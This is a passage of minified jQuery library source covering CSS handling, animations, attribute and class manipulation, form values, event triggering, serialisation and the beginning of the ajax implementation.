t=e.getComputedStyle(c);i="1%"!==t.top,u=12===n(t.marginLeft),c.style.right="60%",s=36===n(t.right),o=36===n(t.width),c.style.position="absolute",a=36===c.offsetWidth||"absolute",be.removeChild(l),c=null}}function n(e){return Math.round(parseFloat(e))}var i,o,a,s,u,l=r.createElement("div"),c=r.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===c.style.backgroundClip,w.extend(h,{boxSizingReliable:function(){return t(),o},pixelBoxStyles:function(){return t(),s},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),u},scrollboxSize:function(){return t(),a}}))}();function Fe(e,t,n){var r,i,o,a,s=e.style;return(n=n||$e(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||w.contains(e.ownerDocument,e)||(a=w.style(e,t)),!h.pixelBoxStyles()&&We.test(a)&&Be.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function _e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}var ze=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ue={position:"absolute",visibility:"hidden",display:"block"},Ve={letterSpacing:"0",fontWeight:"400"},Ge=["Webkit","Moz","ms"],Ye=r.createElement("div").style;function Qe(e){if(e in Ye)return e;var t=e[0].toUpperCase()+e.slice(1),n=Ge.length;while(n--)if((e=Ge[n]+t)in Ye)return e}function Je(e){var t=w.cssProps[e];return t||(t=w.cssProps[e]=Qe(e)||e),t}function Ke(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ze(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=w.css(e,n+oe[a],!0,i)),r?("content"===n&&(u-=w.css(e,"padding"+oe[a],!0,i)),"margin"!==n&&(u-=w.css(e,"border"+oe[a]+"Width",!0,i))):(u+=w.css(e,"padding"+oe[a],!0,i),"padding"!==n?u+=w.css(e,"border"+oe[a]+"Width",!0,i):s+=w.css(e,"border"+oe[a]+"Width",!0,i));return!r&&o>=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a<i;a++)o[t[a]]=w.css(e,t[a],!1,r);return o}return void 0!==n?w.style(e,t,n):w.css(e,t)},e,t,arguments.length>1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ct(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),y=J.get(e,"fxshow");n.queue||(null==(a=w._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,w.queue(e,"fx").length||a.empty.fire()})}));for(r in t)if(i=t[r],it.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!y||void 0===y[r])continue;g=!0}d[r]=y&&y[r]||w.style(e,r)}if((u=!w.isEmptyObject(t))||!w.isEmptyObject(d)){f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=y&&y.display)&&(l=J.get(e,"display")),"none"===(c=w.css(e,"display"))&&(l?c=l:(fe([e],!0),l=e.style.display||l,c=w.css(e,"display"),fe([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===w.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1;for(r in d)u||(y?"hidden"in y&&(g=y.hidden):y=J.access(e,"fxshow",{display:l}),o&&(y.hidden=!g),g&&fe([e],!0),p.done(function(){g||fe([e]),J.remove(e,"fxshow");for(r in d)w.style(e,r,d[r])})),u=lt(g?y[r]:0,r,p),r in y||(y[r]=u.start,g&&(u.end=u.start,u.start=0))}}function ft(e,t){var n,r,i,o,a;for(n in e)if(r=G(n),i=t[r],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=w.cssHooks[r])&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function pt(e,t,n){var r,i,o=0,a=pt.prefilters.length,s=w.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;for(var t=nt||st(),n=Math.max(0,l.startTime+l.duration-t),r=1-(n/l.duration||0),o=0,a=l.tweens.length;o<a;o++)l.tweens[o].run(r);return s.notifyWith(e,[l,r,n]),r<1&&a?n:(a||s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l]),!1)},l=s.promise({elem:e,props:w.extend({},t),opts:w.extend(!0,{specialEasing:{},easing:w.easing._default},n),originalProperties:t,originalOptions:n,startTime:nt||st(),duration:n.duration,tweens:[],createTween:function(t,n){var r=w.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)l.tweens[n].run(1);return t?(s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l,t])):s.rejectWith(e,[l,t]),this}}),c=l.props;for(ft(c,l.opts.specialEasing);o<a;o++)if(r=pt.prefilters[o].call(l,e,c,l.opts))return g(r.stop)&&(w._queueHooks(l.elem,l.opts.queue).stop=r.stop.bind(r)),r;return w.map(c,lt,l),g(l.opts.start)&&l.opts.start.call(e,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),w.fx.timer(w.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l}w.Animation=w.extend(pt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return ue(n.elem,e,ie.exec(t),n),n}]},tweener:function(e,t){g(e)?(t=e,e=["*"]):e=e.match(M);for(var n,r=0,i=e.length;r<i;r++)n=e[r],pt.tweeners[n]=pt.tweeners[n]||[],pt.tweeners[n].unshift(t)},prefilters:[ct],prefilter:function(e,t){t?pt.prefilters.unshift(e):pt.prefilters.push(e)}}),w.speed=function(e,t,n){var r=e&&"object"==typeof e?w.extend({},e):{complete:n||!n&&t||g(e)&&e,duration:e,easing:n&&t||t&&!g(t)&&t};return w.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in w.fx.speeds?r.duration=w.fx.speeds[r.duration]:r.duration=w.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){g(r.old)&&r.old.call(this),r.queue&&w.dequeue(this,r.queue)},r},w.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=w.isEmptyObject(e),o=w.speed(t,n,r),a=function(){var t=pt(this,w.extend({},e),o);(i||J.get(this,"finish"))&&t.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&!1!==e&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=w.timers,a=J.get(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&ot.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));!t&&n||w.dequeue(this,e)})},finish:function(e){return!1!==e&&(e=e||"fx"),this.each(function(){var t,n=J.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=w.timers,a=r?r.length:0;for(n.finish=!0,w.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;t<a;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),w.each(["toggle","show","hide"],function(e,t){var n=w.fn[t];w.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ut(t,!0),e,r,i)}}),w.each({slideDown:ut("show"),slideUp:ut("hide"),slideToggle:ut("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){w.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),w.timers=[],w.fx.tick=function(){var e,t=0,n=w.timers;for(nt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||w.fx.stop(),nt=void 0},w.fx.timer=function(e){w.timers.push(e),w.fx.start()},w.fx.interval=13,w.fx.start=function(){rt||(rt=!0,at())},w.fx.stop=function(){rt=null},w.fx.speeds={slow:600,fast:200,_default:400},w.fn.delay=function(t,n){return t=w.fx?w.fx.speeds[t]||t:t,n=n||"fx",this.queue(n,function(n,r){var i=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(i)}})},function(){var e=r.createElement("input"),t=r.createElement("select").appendChild(r.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=r.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var dt,ht=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return z(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!N(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=w.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete 